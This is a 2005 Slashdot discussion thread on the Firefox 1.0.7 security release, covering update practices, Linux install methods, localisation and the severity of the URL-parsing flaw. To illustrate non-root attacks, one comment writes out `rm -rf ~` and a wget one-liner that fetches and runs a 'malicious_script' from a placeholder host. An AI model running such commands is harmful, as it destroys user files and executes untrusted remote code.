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Firefox 1.0.7 Released 366

hackajar writes "Firefox 1.0.7 has been released today. From the announcement "Fixes are included for the international domain name (IDN) link buffer overflow vulnerability and the Linux command line URL parsing flaw. There are also other security and stability changes, including a fix for a crash experienced when using certain Proxy Auto-Config scripts. In addition, some regressions introduced by previous 1.0.x security updates have been resolved.""
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Firefox 1.0.7 Released

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  • More stable (Score:4, Funny)

    by buro9 ( 633210 ) <david@nosPaM.buro9.com> on Wednesday September 21, 2005 @12:25PM (#13614492) Homepage
    I've been running it for 3 minutes, and I must say... it's VERY stable. Probably more so than ever!

    (please understand this is a joke)
    • by Dink Paisy ( 823325 ) on Wednesday September 21, 2005 @12:40PM (#13614630) Homepage
      "In addition, some regressions introduced by previous 1.0.x security updates have been resolved."

      Too many regressions caused by security updates, and people will turn off auto-update. That's the very reason that Microsoft moved to a monthly update cycle. Getting updates out quickly is important, but unless the security hole is being actively exploited, it's probably more important to make sure nothing else gets broken by the fix. If you convince people not to install updates, then you're in really big trouble.

      • by amdotaku ( 909214 ) on Wednesday September 21, 2005 @12:53PM (#13614750)
        Indeed, this is the dark side to Firefox, its stand alone update cycle. Its not friendly to extension developers, confuses and annoys users and administrators, and worse of all makes the whole Distribution based system the rest of FOSS uses go to pot.(Some people just want to run a version that comes with the distro without constant worrying and compatibility issues.) I think Firefox's special position at the head of the FOSS movement has made them focused too much on runing their own tight ship and not enough about letting their users do the same.
        • Then do what I do: don't use your distro's tools to install Firefox, use their Linux installer and install to a subdir in your user directory.

          I had my Firefox 1.0.6. installed in a directory under /home/mydir called firefox106. Last time I installed as root there so I had to remove the directory as root.

          Then, as me, I set up a directory called Firefox107. I made a directory under that one called Firefox as the installation area for the install of Firefox 1.0.7. I then downloaded the Linux installer for 1.0.
          • by MikeFM ( 12491 ) on Wednesday September 21, 2005 @01:47PM (#13615222) Homepage Journal
            That's not such a good idea in general. Installs from the distro are tested and signed (pretty sure not to be infected with viruses) whereas Firefox's update system assumes behavior of crappy OS like Windows that doesn't auto-update all programs as needed. Auto-update is a good idea but they should strive to work with existing update infrastructures when those exist. There is to much conflict between apt/yum/rug/whatever and Firefox's own update system and it does cause bugs and odd behavior sometimes. That doesn't make it a good idea to abandon the update infrastructure provided by your distro. :)

            On the other hand I think distros need to recognize the need of users to install software at the user-level and make their packages and package mgmt system work better for that. As it is they tend to make it difficult to install packages just for a single user.
          • Heh, a list of many complex actions involving different user ID's, directories and other computer "magic" as seen from a users perspective, followed by:

            "The install was as easy as anything packaged by Vise or InstallShield"

            Can you please pass some of that crack you seem to be smoking? I'm a big linux fan, but installing anything, not in the least a user install from firefox, does not compare with the "double click setup.exe" from vise or installshield.

            And before all the fanboys knee-jerk with the security/spyware/virus/whatever-my-linux-kung-fu-i s-so-cool-i-kick-your-ass stuff - I know, i use linux and firefox. but that still doesn't make it an easy install. The distro install, incidentally, is pretty easy though, so just wait for the vendor updates mmmkay?
            • by c0d3h4x0r ( 604141 ) on Wednesday September 21, 2005 @03:37PM (#13616214) Homepage Journal
              Someone seriously needs to mod the parent UP. This is a very insightful observation about one of the fundamental, systemic problems with desktop OSes (Linux-based and otherwise).

              The fact that it is possible for an application to be installed by any mechanism other than the official method provided by the desktop/OS, thus straying from all standard conventions defined by the desktop/OS, means it's too easy for users to screw up and break things. The fact that an application must come with its own installation executable just illustrates how the desktop/OS is failing to provide the services the application developers need.

              The desktop/OS should require a software package to provide a data-based manifest of installation actions it needs (generally similar to Microsoft's MSI/Windows Installer technology, but without the notion of Custom Actions), and the desktop/OS should execute the installation. And that should be the ONLY way for anything to get installed onto the system (unlike the architecture of Windows, where standalone installers such as InstallShield can still bypass the central MSI/Windows Installer way of doing things).

            • This is a pretty serious troll. There is no install on windows, install shield or otherwise that you can install with a double click. The double-click starts the installer, then you answer a series of questions. Afterward, you configure the app manually.

              On linux you apt-get install app or select it and then click install in synaptic. Then configure the app manually. For many things you can simply run appname-configure afterward to configure.

              In case you haven't noticed, the processes are mostly the same, ex
          • by Hank the Lion ( 47086 ) on Wednesday September 21, 2005 @02:41PM (#13615706) Journal
            Now I have a version of Firefox that runs as me instead of running as root, which I'm sure is a lot more secure than the way I had it last time.
            I don't think so.
            Normally, you install as root, and run as user.
            This means, that, as a user, you cannot damage your installation.
            Now, you run as the same user that installed it.
            This means that you can damage the installation as well.
          • Then, as me, I set up a directory called Firefox107. I made a directory under that one called Firefox as the installation area for the install of Firefox 1.0.7. I then downloaded the Linux installer for 1.0.7 directly from mozilla.org. I untarred/gunzipped the installer into the Firefox107 directory. It made a firefox-installer directory under Firefox107 where I then clicked the firefox-installer script to start the install process. Again, I installed as me, not as root.

            I don't know about you, but I clicked
      • Unless? (Score:5, Interesting)

        by Spy der Mann ( 805235 ) <spydermann.slash ... m ['mai' in gap]> on Wednesday September 21, 2005 @01:12PM (#13614933) Homepage Journal
        but unless the security hole is being actively exploited, it's probably more important to make sure nothing else gets broken by the fix.

        Enter the paradox: If the fix isn't released until a month, the security hole CAN and WILL be actively exploited.

        In other words, is it worth to replace a critical bug (security) with a minor bug (annoyance)?

    • by Anonymous Coward
  • by tcopeland ( 32225 ) * <tom&thomasleecopeland,com> on Wednesday September 21, 2005 @12:25PM (#13614495) Homepage
    ...are here here [mozilla.org].

    Also, from the Mozillazine article, looks like Portable Firefox [johnhaller.com] has been updated as well.

    And I'm posting this with 1.0.7, good times...
  • by URSpider ( 242674 ) * on Wednesday September 21, 2005 @12:25PM (#13614498) Homepage
    Slashdot subscription: $10.00.

    Getting to download the next version of Firefox before the site gets Slashdotted: priceless !
  • Quick to the point (Score:5, Insightful)

    by timeToy ( 643583 ) on Wednesday September 21, 2005 @12:27PM (#13614514)
    That's perfectly fits with yesterday's news about Mozilla foundation being more reactive to security fixes than M$.
    • "...fits with yesterday's news about Mozilla foundation being more reactive to security fixes than M$."

      Which virus does this Mozilla release include?

      /rimshot - I keed, I keed

    • by shmlco ( 594907 )
      I believe the actual story was about how Firefox was less secure. The spin on the story was that they're more reactive.

      BTW, the use of "spin" was deliberate. I've yet to see numbers for both sides that prove MF is more reactive than MS, even though it appears to be "common knowledge". IIRC, the last release (1.0.6) fixed bugs found in March.

  • by zdzichu ( 100333 ) on Wednesday September 21, 2005 @12:30PM (#13614541) Homepage Journal
    And yet again, users of localised build were left in the cold.
    Think about your grandpa, who doesn't know english. He can't use non-translated build and is left with vulnerable, older version.
    Good work, Firefox developers!
    • by slavemowgli ( 585321 ) on Wednesday September 21, 2005 @12:52PM (#13614740) Homepage
      FWIW, there's no updated version of the Mozilla Suite, either - anyone who's using that is, well, stuck. I know that the Mozilla people want everyone to use Firefox, but this kind of "we don't care" attitude is just as arrogant as Microsoft's.

      I'm seriously thinking about switching to Opera, myself. It's faster, it uses less memory, it's more standards-compliant, and now it's free, too - I honestly don't know what's keeping me, outside of laziness, maybe.

      I hope some of the Mozilla people (Asa etc.) read this and think about it. Do you hear me? This kind of attitude will not convince Seamonkey users to switch to Firefox, it will convince them to switch to something else entirely because you're making it clear that you don't give a shit about them! You have a big problem, and it will come back to bite you sooner or later, so you'd better start working on it - or at least acknowledge that it exists.
    • Just how much of Firefox is language-dependant to understand? The worst part is the menu bar, and if he's already familiar with the placement of the "File" menu, he likely has no problem.

      After all, the bookmark names aren't going to change between different language versions of Mozilla.

      Be thankful: my grandfather uses AOL.
    • My (dearly departed) Grandad would have taken one look at Firefox, scoffed at the idea of even using a computer, let alone using one, and gone back to his gardening (which is was really good at). This is why I miss him so much.

  • Nasty bugs. (Score:5, Insightful)

    by LurkerXXX ( 667952 ) on Wednesday September 21, 2005 @12:31PM (#13614544)
    The unix/linux bad-link problem allowing malicious URLs to run shell scripts is a bit nasty. Maybe Symantec wasn't entirely blowing smoke the other day with their warnings about Firefox not really being that much more secure than IE. The patches come out faster, but there sure are some nasty bugs in there yet.
    • by stlhawkeye ( 868951 ) on Wednesday September 21, 2005 @12:37PM (#13614603) Homepage Journal
      The unix/linux bad-link problem allowing malicious URLs to run shell scripts is a bit nasty.

      HA! I don't have your insecure Linux problems. I run Windows!

      • Who modded this Troll? (S)he certainly has no sense of humour whatsoever. ROFLOL!
        • Who modded this Troll? (S)he certainly has no sense of humour whatsoever. ROFLOL!

          You don't really need the "S".

          Now, I know what you're thinking. You're thinking I'm going reuse the tired meme of, "there are no women on Slashdot".

          However, you'd be wrong...

          It's actually because all the female moderators have a wonderful sense of humor.

          They're also all worldly, erudite, perspicacious, compassionate, shockingly beautiful, and, "really have it together".

          (+1, Insightful?)

    • Are you running Firefox as root?!?!
      • Re:Nasty bugs. (Score:3, Insightful)

        by LurkerXXX ( 667952 )
        No, but that doesn't matter a bit.

        Anyone can reinstall an OS in an hour. What matters is people's DATA. You know, pictures, documents, etc, accumulated over years. Stuff all users should back up but most users don't. Those are all things that can be trashed when an exploit hits them even when they aren't running as root.

        The OS being intact is real nice for your geek pride, but but all the data files being trashed is a real loss to normal people.

      • Re:Nasty bugs. (Score:5, Insightful)

        by Zathrus ( 232140 ) on Wednesday September 21, 2005 @01:13PM (#13614945) Homepage
        Are you running Firefox as root?!?!

        `rm -rf ~`

        Because, of course, you wouldn't have anything valuable stored in your home directory, would you?

        Not to mention that root privledges are not required to do a lot of things... like, oh say:


        wget ftp://somesite/malicious_script [somesite] && chmod +x malicious_script && ./malicious_script


        What does malicious script do? Anything it wants -- including downloading and running root kits (after figuring out exactly which ones you are vulnerable to), sending out massive spam attacks, installing a user-level trojan that allows for remote controlled DDoS, etc.

        I'm really tired of people claiming that not running as root is a miracle cure. Yes, it prevents some really nasty trivial attacks, but it doesn't protect your most valuable data (e.g. -- yours) and it doesn't prevent a lot of attacks that are perfectly happy to run in non-privledged space.
        • by khasim ( 1285 ) <brandioch.conner@gmail.com> on Wednesday September 21, 2005 @02:34PM (#13615636)
          Any data kept in your home directories SHOULD be backed up by the sysadmin.

          The worst that should ever happen is that you lose any new data (from this morning until now).

          The really important data is usually kept inside databases that the user does not have rights to delete.

          Wiping out your home directory is only "annoying" (unless you have an important meeting in a few minutes).

          Infecting the system is "BAD" because then EVERYONE's data is vulnerable AND you cannot trust last night's backups. You must go back and find out when you were infected and, in some cases, recreate ALL of the data that was in those databases since that point.

          Sure, the user might be pissed that his spreadsheet was deleted by the "cool screensaver" that he just tried to download AND he has a meeting with the division president in the next 15 minutes ........

          but that don't mean jack when the CFO notices that none of the numbers match for the last 3 months anymore.
          I'm really tired of people claiming that not running as root is a miracle cure. Yes, it prevents some really nasty trivial attacks, but it doesn't protect your most valuable data (e.g. -- yours) and it doesn't prevent a lot of attacks that are perfectly happy to run in non-privledged space.
          It's not a "miracle cure" but it does protect the most important information the company has.

          Ideally, the user's home directories will be set to non-execute so that crap they download won't destroy their data.

          Even with both of those in place, I still get people who DELETE THEIR OWN FILES and need them restored from the night before.

          Security is all about IDENTIFYING the risks and REDUCING them.

          I can reduce the risks of everything else to a point below that of regular human stupidity. But nothing will ever save you from that.
    • Re:Nasty bugs. (Score:5, Insightful)

      by miffo.swe ( 547642 ) <daniel@hedblom.gmail@com> on Wednesday September 21, 2005 @01:34PM (#13615119) Homepage Journal
      The problem isnt in Firefox itself but rather in the script used to launch firefox from other applications. It demands launching a command from another application under your control going through bash. You cant be subjected to this by browsing around on the net for example. It demands user intervention to function. While i admit its a flaw its in no way as critical as some purports it to be. A similar flaw in Internet Explorer gets a minor threat rating.

      There really needs to be some standard for rating security holes.

      I mean, if this is rated very critical what the heck do you call a remote exploit? Very,very,very critical or what? Secunia, rated 7/5?

      There seems to be a FUD campaign against Firefox. Why the heck would Symantec care about Firefox when they havent once to my knowledge critiziced Internet Explorer even when it had a critical patch coming out pretty much every day.
      • Mod parent +25. (Score:4, Insightful)

        by khasim ( 1285 ) <brandioch.conner@gmail.com> on Wednesday September 21, 2005 @02:43PM (#13615723)
        It seems that certain organizations are trying to hype every vulnerability that can be associated with FireFox. From my point of view they'd be ranked like this:

        #1. Remote root access that does NOT require human intervention or other app running.

        #2. Remote non-root access that does NOT require human intervention or other app running.

        #3. Local root access that does NOT require human intervention or other app running.

        #4. Local non-root access that does NOT require human intervention or other app running.

        #5. Local root access that requires some human interaction or some combination of apps.

        #6. Local non-root access that requires some human interaction or some combination of apps (this is where this exploit is)

        #7. Remote OS crash

        #8. Remote app crash

        #9. Local OS crash

        #10. Local app crash

        This is MY opinion. Get your own opinion. There is no way this exploit is "critical". It's one step above a stupid DoS attack and would NOT affect ANY of my servers.
      • Re:Nasty bugs. (Score:5, Insightful)

        by 14erCleaner ( 745600 ) <FourteenerCleaner@yahoo.com> on Wednesday September 21, 2005 @04:42PM (#13616724) Homepage Journal
        There seems to be a FUD campaign against Firefox. Why the heck would Symantec care about Firefox when they havent once to my knowledge critiziced Internet Explorer even when it had a critical patch coming out pretty much every day.

        Symantec sells security software that covers up Microsoft vulnerabilities.

        If everybody stopped using IE and Outlook, half of their business might go away.

  • by bad_outlook ( 868902 ) on Wednesday September 21, 2005 @12:32PM (#13614558) Homepage
    Ok, I'm a geek and all, but this week I just installed 1.5 Beta 1 - so is it now vuln to this, whereas 1.0.7 is not? I understand branches, tags and such, but after awhile this could really confuse joe_user. Is anyone trying out the new Opera since it's now free? I've only tried the Win version, but darnit, it's very nice. Tonight I'll try it on Unbuntu, after updating FF to 1.0.7 of course (I don't run dev software at home, else I"ll hear about it crashing from my wife! ;))
  • by akulbe ( 625876 ) on Wednesday September 21, 2005 @12:34PM (#13614580)
    I've tried to hammer 1.0.7 and see if I could reproduce the same crashes that happened in 1.0.6 and this issue *seems* to be fixed. Also, upgraded to (ewww!) Flash Player 8. Seems to be an improvement as well. (I say this because the previous issue usually happened on sites with Flash)
  • localised builds (Score:5, Interesting)

    by kamikazejay ( 824744 ) on Wednesday September 21, 2005 @12:36PM (#13614592)
    The british latest is still 1.0.6.
    I can't understand why bugfixes, which wont change any of the text shown to the user (other than perhaps the version number), cannot be released for all locals at the same time.
    • I can't understand why bugfixes, which wont change any of the text shown to the user (other than perhaps the version number), cannot be released for all locals at the same time.

      The localised versions, even if it's an apparently near identical one like British-English, still needs to be built by the relevant localisation team. Though I suspect it could be automated somewhat to avoid this TERRIBLE waiting ;-)

      /also still waiting on British 1.0.6...

    • by gordgekko ( 574109 ) on Wednesday September 21, 2005 @12:51PM (#13614738) Homepage
      Because you Brits insist on speaking English. When 1.0.7 is converted to English from American, you'll get your new localized version!
      • by Bananenrepublik ( 49759 ) on Wednesday September 21, 2005 @01:38PM (#13615142)
        Because you Brits insist on speaking English. When 1.0.7 is converted to English from American, you'll get your new localized version!

        That would be localised then.
    • Re:localised builds (Score:2, Interesting)

      by Draknek ( 701283 )
      I'm British, but I've never bothered getting the en_GB version.

      What are the differences?

      Why should anyone bother?
      • by Haeleth ( 414428 ) on Wednesday September 21, 2005 @01:39PM (#13615152) Journal
        At a guess, the English version doesn't have all those nasty spelling mistakes like "Fonts & Colors (sic)" which the careless American maintainers still haven't got round to fixing.

        It's possible that it also replaces outlandish words like "cookies" with more familiar terms like "biscuits".
    • by dkh2 ( 29130 ) <dkh2@WhyDoMyTits I t c h .com> on Wednesday September 21, 2005 @01:00PM (#13614817) Homepage
      Try looking for the 'English' version instead. Along that line ... they don't have a separate 'American' version.

      Back in the day... John Clease was one of Jay Leno's guests during the Clinton/Lewinsky scandal. He described 3 differences between Americans and the British.
      1) We (the British) speak English.
      2) When we hold a world championship sporting event we invite teams from other countries.
      3) When we meet our head of state we only go down on ONE knee.
  • wow, amazing what speeds I saw on that, over 1mbit which is pretty nice. Sure its not a super large file, but nice to see good speed when the server hasnt been /.'d

    Now I wonder if my extensions will crash or act buggy...ah, well....the price was right ;-)
  • Great! (Score:5, Insightful)

    by setzman ( 541053 ) <stzman@stzmanple ... inus threevowels> on Wednesday September 21, 2005 @12:42PM (#13614645) Journal
    Now will it stop using anywheres from 73,788 K to 253,000 K RAM? I thought Firefox was supposed to be small and efficient, but that's the ram usage reported by Task Manager.
    • Web pages take a lot of room in memory to store. This is due to web pages being full of images and other large binary data. This is just a fact of life and is not really anything unique to FireFox.
      • 750MB? (Score:3, Informative)

        So you're saying that Firefox is string 750MB of data it got off the web?

        Well, let's see, my DSL is quite fast, it is 6mbits/second actually (lucky me). That means that Firefox is storing the equivalent of 1,000 seconds or about 20 minutes of continuous downloading. For other people it could be easily double that.

        Why doesn't that seem entirely correct to me? I'd know if I sat through 20 minutes total downloading.

        BTW, IE doesn't soak up as much RAM, and it's pretty damn fast.

        Firefox probably needs to look at
      • Re:Great! (Score:3, Informative)

        by Malc ( 1751 )
        1) Web pages don't take tens or hundreds of MB
        2) Other browsers such as IE don't have this problem

        Do any of the devs run tools like BoundsChecker over their code?
    • How many extensions are you running?

      How many tabs do you have open?
    • Re:Great! (Score:5, Informative)

      by keithoc ( 916498 ) on Wednesday September 21, 2005 @01:12PM (#13614937)
      I got this all the time too - apparently this isn't a Firefox problem but instead a memory leak in the Flash plugin.

      See here for workaround: http://fusion94.org/archives/2005/07/firefox_memor y.html [fusion94.org]
    • use flashblock [mozdev.org]. Did it for me. Those nasty flash animations were screwing with the memory.
  • Middle-click on OSX? (Score:5, Interesting)

    by xjerky ( 128399 ) on Wednesday September 21, 2005 @12:42PM (#13614652)
    Will middle-clicking to oplen a link in a new tab
    ever show up in an official release for OSX? It's really retarded that I must rely on nightly betas in order to use this simple feature, in which case I can't use most of the plugins that made Firefox attractive to me in the first place. Very frustrating.
  • 1.0.7 or Beta 1..?

    I guess 1.0.7 has more security fixs but beta has some nice new features... which to use?
  • by account_deleted ( 4530225 ) on Wednesday September 21, 2005 @12:45PM (#13614682)
    Comment removed based on user account deletion
  • Bad Ads (Score:5, Interesting)

    by Dalroth ( 85450 ) on Wednesday September 21, 2005 @12:46PM (#13614685) Homepage Journal
    I've had a problem with Firefox lately (starting around build 1.04, which may just be coincidental with a new malevolent popup technique being invented) on both my Windows and OSX boxes. Specifically, there are certain ads that cause Firefox to crash hard, and they aren't just bad ads from porn sites. I've occasionally gotten them on Blues News and NY Times for example.

    In some cases, I'm lucky to get an exception and can restart Firefox. However, in most cases, the application freezes. On OSX, I get the swirling beach ball of death and have to manually force quit Firefox. On windows, I can usually close Firefox, but only the main window closes. I still have to manually kill the process before I can start a new instance.

    Since then, I've moved on to 1.5 alpha and it while I don't believe I am currently experiencing those problems, 1.5 alpha has a whole new set of problems all its own.

    My question is... have these ad related crashes been fixed (or am I the only experiencing them)? I'd like us to the most stable version possible, but when 1.5 alpha is better than the 1.0x builds, I'm left wondering what went wrong...

    If this isn't resolved soon, I just might have to give AdBlock another shot. I'm trying to be a good netizen, but when you're ads kill my browser, you leave me with little choice!

    Bryan
    • Re:Bad Ads (Score:2, Informative)

      by akulbe ( 625876 )
      I'm using 1.0.7 on OS X, and as I commented previous, I think the issues I had are fixed. (at least from what I can tell so far) I had the same issues as you describe. All my attempts to reproduce the swirling beach ball of death are unsuccessful, thankfully.
    • Have you tried running with a new profile and/or disabling any extensions that you might have installed? I can't say I've seen any of these crashes that you've experienced.
    • Specifically, there are certain ads that cause Firefox to crash hard

      Are you running Flashblock? Make sure you have the latest revision if so -- there are some known problems w/ Firefox 1.0.x, Flashblock, and some Flash ads. The Flashblock devs have tried to work around them, but it's a problem in Firefox itself. I never experienced them on Blue's (yes, I'm the same guy from there), but I experienced them fairly often on Tech Report until I went to 1.5B1.

      And yes, 1.5B1 fixes the issue. It's been fixed in tru
    • by gosand ( 234100 ) on Wednesday September 21, 2005 @01:45PM (#13615192)
      I've had a problem with Firefox lately (starting around build 1.04, which may just be coincidental with a new malevolent popup technique being invented) on both my Windows and OSX boxes. Specifically, there are certain ads that cause Firefox to crash hard, and they aren't just bad ads from porn sites. I've occasionally gotten them on Blues News and NY Times for example...... If this isn't resolved soon, I just might have to give AdBlock another shot. I'm trying to be a good netizen, but when you're ads kill my browser, you leave me with little choice!


      I noticed some of these too. Quite annoying. Instead of using Adblock or something similar, first try downloading a good hosts file for blocking ads. Info and links [wikipedia.org]

  • Is it any faster? Will it stop bringing my Dual G5 Powermac to its knees? Is it any less of a memory pig?
  • The M$ Take (Score:2, Insightful)

    by IorDMUX ( 870522 )
    Ah. Mozilla has lept upon more discovered holes and promptly fixed them.

    And somehow, these fixes make the browser all the less secure [slashdot.org] in the eyes of the big guys.
  • Firefox annoyances (Score:5, Interesting)

    by Henry V .009 ( 518000 ) on Wednesday September 21, 2005 @01:10PM (#13614910) Journal
    • Trying to install from a Limited Account in Windows brings up a dialog "highly recommended that you install as Administrator."
    • There is no longer a way to disable the Quality Feedback Agent under custom install.
    • Firefox Update is small and non-obvious. Windows really lets me know when there is a patch for IE out. I can trust IE to keep itself patched on Grandma's system -- but not Firefox.
  • It's only security fixes. Not much news here.
  • HP-UX Port (Score:2, Interesting)

    by lp_bugman ( 623152 )
    I been searching everywere for a HP-UX port. What I don't understand is that mozilla has builds for OS2 but not for HP-UX. I don't know you guys but I think HP-UX has way more active users than OS2.
    I know there is a "official" HP mozilla build. But I like more firefox (slimer and faster). Specialy because my desktop is not that fast (PA8500 400mhz).
  • by raitchison ( 734047 ) <robert@aitchison.org> on Wednesday September 21, 2005 @01:29PM (#13615080) Homepage Journal

    For Firefox 1.0.8 to be released

  • Package Management (Score:3, Interesting)

    by Al Dimond ( 792444 ) on Wednesday September 21, 2005 @01:46PM (#13615206) Journal
    This Firefox release is an opportunity for me to ask a question I've been thinking a lot about lately: on GNU/Linux, is the web browser a package that's better handled outside of the context of the distribution's package manager? I'm running Gentoo right now, and I love Portage, but there will at least be some delay between the Firefox release and a new ebuild being available. And in order to emerge this new release I'd need to sync my Portage tree again, which I don't have any other particular need to do right now (once or twice emerge sync has caused me problems, usually because it causes me to subsequently update some package that I originally emerged with USE flags set that I neglected to add to my make.conf).

    Anyhow, the basic idea is that Firefox is a package that has to be updated at specific times, and I know when those times are, and they aren't necessarily times that my system as a whole needs to be updated.

    There are few other packages that depend on Firefox; all I can really think of are plugins and extensions. Plugins don't typically require a specific FF version, and I get my extensions centrally from mozdev. So can you guys think of anything I'd lose by unmerging FF from Portage, installing a stub in its place, and just using the official builds from mozilla.org? Besides the potential optimization? (I would say integration and consistency with the overall system in terms of file placement and stuff, but... that doesn't seem to happen anyway. It's not an easy thing to fit a huge X application into Unix directory conventions based on the concept of many small programs doing one thing well...)

    The main other package to which I'd apply this type of thinking is OOo. I wouldn't apply it to KDE or Gnome (though I don't directly use either) because they contain many useful libraries, and I feel that the handling of libraries is a real strength of package management systems. Can you guys think of any other packages that might not be best handled by package management?

Thus spake the master programmer: "After three days without programming, life becomes meaningless." -- Geoffrey James, "The Tao of Programming"

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